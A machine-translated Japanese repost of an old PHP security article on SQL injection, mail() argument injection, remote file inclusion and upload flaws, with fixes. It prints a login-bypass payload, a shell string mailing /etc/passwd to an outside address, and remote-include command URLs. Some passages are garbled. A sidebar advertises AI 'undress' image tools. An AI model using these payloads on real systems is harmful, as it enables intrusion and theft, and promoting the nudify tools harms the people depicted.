ホームページ php教程 php手册 PHPセキュリティドッグテール 続ミンク

PHPセキュリティドッグテール 続ミンク

Jun 21, 2016 am 09:10 AM
file http include php quot

安全性

Shaun Clowes の記事「Exploiting Common Vulnerabilities in PHP Applications」は実によく書かれており、多くの側面が考慮されています。この記事は記事の続きであり、あまり言及されていないいくつかの問題を追加しています。この記事は、
攻撃ではなく、問題解決に焦点を当てています。

1. 古代の欺瞞的な SQL ステートメント
デフォルトモードでは、php.ini を /usr/local/lib/php.ini にコピーするのを忘れたとしても、php は依然として magic_quotes_gpc=on をオンにします。
このようにして、GET/POST/Cookie からの変数のすべての一重引用符 (')、二重引用符 (")、バックスラッシュ () およびヌル文字 NUL
(ヌル バイト) にバックスラッシュが追加されます。
ただし、php-4-RC2 が設定ファイル php.ini-optimized を導入すると、この最適化された php.ini が
magic_quotes_gpc=off になる場合があります。
/usr/local/lib/php.ini にコピーします。これは、現時点ではより危険です。必要な文字がフィルタされていないと仮定すると、次のようになります。
select * from login where user=' $HTTP_POST_VARS[user] ' and pass='$HTTP_POST_VARS[pass]'
ユーザー ボックスとパスワード ボックスに 1' または 1='1 を入力すると、検証に合格できます。これは非常に古い方法で、このステートメントは
次のように置き換えられます。
select * from login where user='1' or 1='1' and pass='1' or 1='1'
or 1='1' が true なので、解決するのが最善の方法です。不要な文字をすべてフィルタリングし、GET/POST/Cookie から取得され SQL で使用される変数にカスタム関数を追加することをお勧めします
:
function gpc2sql($str) {
if( get_magic_quotes_gpc()==1)
return $str;
else
returnaddslashes($str);
}
主に、プログラムをさまざまなシステムに安全に移植するための

2. php-4.0.5 では、メール関数の 5 番目の部分。メール関数では、実際にメールを送信するときに追加のコマンド ライン パラメーターを設定するために使用される 5 番目のパラメーターが導入されました。ただし、特殊な SHELL コマンド文字を適切にチェックできなかったため、コマンドの実行に大きな問題が発生しました。マニュアル:
mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAME");
これには問題があります。 =;mail san@xfocus.org < /etc/passwd、マシンのパスワードを私のメールボックスに送信できます

ここで注意してください。PHP マニュアルにはセキュリティ上の問題のある例がいくつかありますが、実際に使用する場合は、その関数の基本的な機能を説明しているだけなので、それを理解してください。
メール関数のこの問題に対して、最も簡単な方法は、第 5 引数を使用しないことです。使用したい場合は、(;) などの不正な文字をフィルターし、メール関数のプログラム ext/standard/mail.c を変更するだけです。
php ソース コード パッケージ。 if (extra_cmd != NULL) { の前に次の行を追加します。
extra_cmd=NULL
その後、再コンパイルします。

3. UNIX バージョンの require 関数と include 関数
win バージョンの require 関数と include 関数は HTTP および FTP リモート ファイルのインクルードをサポートしませんが、UNIX バージョンはデフォルトでリモート インクルード ファイルをサポートします。
require と include は、どのような拡張子を持っていても、含まれている場合はプログラムの一部として実行されます。
プログラムを作成するとき、プログラムのモジュール化と移植性を高めるために、必然的に多くの require 関数や include 関数を使用します。
また、次のような変数がパラメーターとして使用されることもあります。現時点では、ユーザーは $something パラメータを制御できますが、この
パラメータはフィルタリングされていません。これは悲惨なことです。
まず、Web ユーザーが読み取り権限を持つファイルを表示できます。プログラムの名前が http://victim/test.php であるとすると、次の
URL: http://victim/test.php を使用できます。 ?something=/etc /passwd /etc/passwd ファイルを参照してください。
さらに、リモート ファイルに含まれる関数を使用してコマンドを実行することもできます。たとえば、www.xfocus.org の下にファイル test.php を作成し、内容が
の場合、次の URL を使用できます:
http://victim/test.php?something=http://www .xfocus .org/test.php?cmd=uname この方法で任意のコマンドを実行します。
この問題は phpMyAdmin でも発生します。phpMyAdmin を使用して、見たいファイルを表示できます。ただし、 include する前に、まず file_exist
関数を使用してファイルが存在するかどうかを判断します。この file_exist はリモート ファイルをサポートしていないため、上記の 2 番目の方法を直接使用することはできません。ただし、Apache のログ機能を使用して、PHP コードで URL をリクエストすることもできます。このように、Apache として指定されたもののログでもコマンドを実行できます。ただし、Apache のログは通常、比較的多くの情報を含んでいます。 。
http://www.securereality.com.au/sradv00008.txt で説明されている方法は、ファイル アップロードを使用してローカルの
実行コマンド スクリプトをアップロードすると、サーバーの一時ファイル アップロード ディレクトリに php8Ta02I が生成されます。この時点ではファイルが存在するため、file_exist関数を通じてアップロードされたファイル内の実行スクリプトを実行できます。

したがって、include 関数と require 関数を使用するときは、特にインクルードされるファイルがパラメーターで指定されている場合は、ユーザーがパラメーターを制御できないように注意する必要があります。 php.ini ファイルを変更して、リモート ファイルの組み込みを削除する機能もあります。これは、php-4.0.3 より前では
disable-url-fopen-wrapper を使用して使用されており、それ以降のバージョンでは、allow_url_fopen = off を使用してオフにします。

4. disable_function
php-4.0.1 では、関数 disable_functions が php.ini に導入され、より便利で、いくつかの機能を無効にするために使用できます。
たとえば、php.ini に disable_functions = passthru exec system Popen を追加すると、これらの関数を実行するときに、
警告: system() はセキュリティ上の理由から無効になっています
ああ、しかし実行できないわけではありません。システムコマンド。 PHP は多くの Perl 機能を使用するため、次のように (`) を使用してコマンドを実行することもできます。
echo "
$output
";
これはのみ設定できます。セーフモードへ これは避けてください。ただし、忌まわしいセーフモードは制限が厳しすぎるため、他のことを行うのにも少し妨げられます。


5. ファイルのアップロード
php ファイルのアップロードの問題は、http://www.securereality.com.au/sradv00001.html の記事で明確に説明されています。
これは実際に深刻な問題です。アップロードされたファイルは Web ディレクトリにも配置されるため、攻撃者はシステムの一部の Web ユーザーが読み取れるファイルを簡単に入手できます。
ありがたいことに、is_uploaded_file 関数と move_uploaded_file 関数は php-4.0.3 以降で提供されています。したがって、php-4.0.3 以降でファイルをアップロードするプログラムはコピー機能を使用せず、代わりに move_uploaded_file を使用してください。アップロードされたファイルかどうかがチェックされます。 php-4.0.2
以下の場合は、コピー前に関数を追加することをお勧めします:
function is_uploaded_file($filename) {
if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {
$tmp_file = dirname (tempnam ('', ''));
}
$tmp_file.='/'.basename($filename);
/* ユーザーの php.ini の末尾にスラッシュがある可能性があります... */
return (ereg_replace( '/ +', '/', $tmp_file) == $filename);
}

この脆弱性は長い間セキュリティの焦点となっていましたが、コピーする前に多くの検証と判断ステートメントが存在します。かなりの攻撃力があり、印象的です。


また、環境変数、Cookie変数、セッション変数などは、偽造が容易なため、生死の判定条件としては絶対に使用しないでください。
はは、やるべきことがたくさんあります。他のものは思いついたときに追加します。他の同志も自由に追加および修正することを歓迎します。

参考資料
1. PHP 4 ChangeLog (http://www.php.net/ChangeLog-4.php)
2. Scarlet の研究 - PHP アプリケーションの一般的な脆弱性の悪用
(http://www.securereality . com.au/studyinscarlet.txt) と分析の翻訳。
3. phpMyAdmin および phpPgAdmin のリモート コマンド実行の脆弱性
(http://www.securereality.com.au/sradv00008.txt)




このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

CakePHP プロジェクトの構成 CakePHP プロジェクトの構成 Sep 10, 2024 pm 05:25 PM

この章では、CakePHP の環境変数、一般設定、データベース設定、電子メール設定について理解します。

Ubuntu および Debian 用の PHP 8.4 インストールおよびアップグレード ガイド Ubuntu および Debian 用の PHP 8.4 インストールおよびアップグレード ガイド Dec 24, 2024 pm 04:42 PM

PHP 8.4 では、いくつかの新機能、セキュリティの改善、パフォーマンスの改善が行われ、かなりの量の機能の非推奨と削除が行われています。 このガイドでは、Ubuntu、Debian、またはその派生版に PHP 8.4 をインストールする方法、または PHP 8.4 にアップグレードする方法について説明します。

CakePHP の日付と時刻 CakePHP の日付と時刻 Sep 10, 2024 pm 05:27 PM

Cakephp4 で日付と時刻を操作するには、利用可能な FrozenTime クラスを利用します。

CakePHP ファイルのアップロード CakePHP ファイルのアップロード Sep 10, 2024 pm 05:27 PM

ファイルのアップロードを行うには、フォーム ヘルパーを使用します。ここではファイルアップロードの例を示します。

CakePHP ルーティング CakePHP ルーティング Sep 10, 2024 pm 05:25 PM

この章では、ルーティングに関連する次のトピックを学習します。

CakePHP について話し合う CakePHP について話し合う Sep 10, 2024 pm 05:28 PM

CakePHP は、PHP 用のオープンソース フレームワークです。これは、アプリケーションの開発、展開、保守をより簡単にすることを目的としています。 CakePHP は、強力かつ理解しやすい MVC のようなアーキテクチャに基づいています。モデル、ビュー、コントローラー

PHP 開発用に Visual Studio Code (VS Code) をセットアップする方法 PHP 開発用に Visual Studio Code (VS Code) をセットアップする方法 Dec 20, 2024 am 11:31 AM

Visual Studio Code (VS Code とも呼ばれる) は、すべての主要なオペレーティング システムで利用できる無料のソース コード エディター (統合開発環境 (IDE)) です。 多くのプログラミング言語の拡張機能の大規模なコレクションを備えた VS Code は、

CakePHP バリデータの作成 CakePHP バリデータの作成 Sep 10, 2024 pm 05:26 PM

Validator は、コントローラーに次の 2 行を追加することで作成できます。

See all articles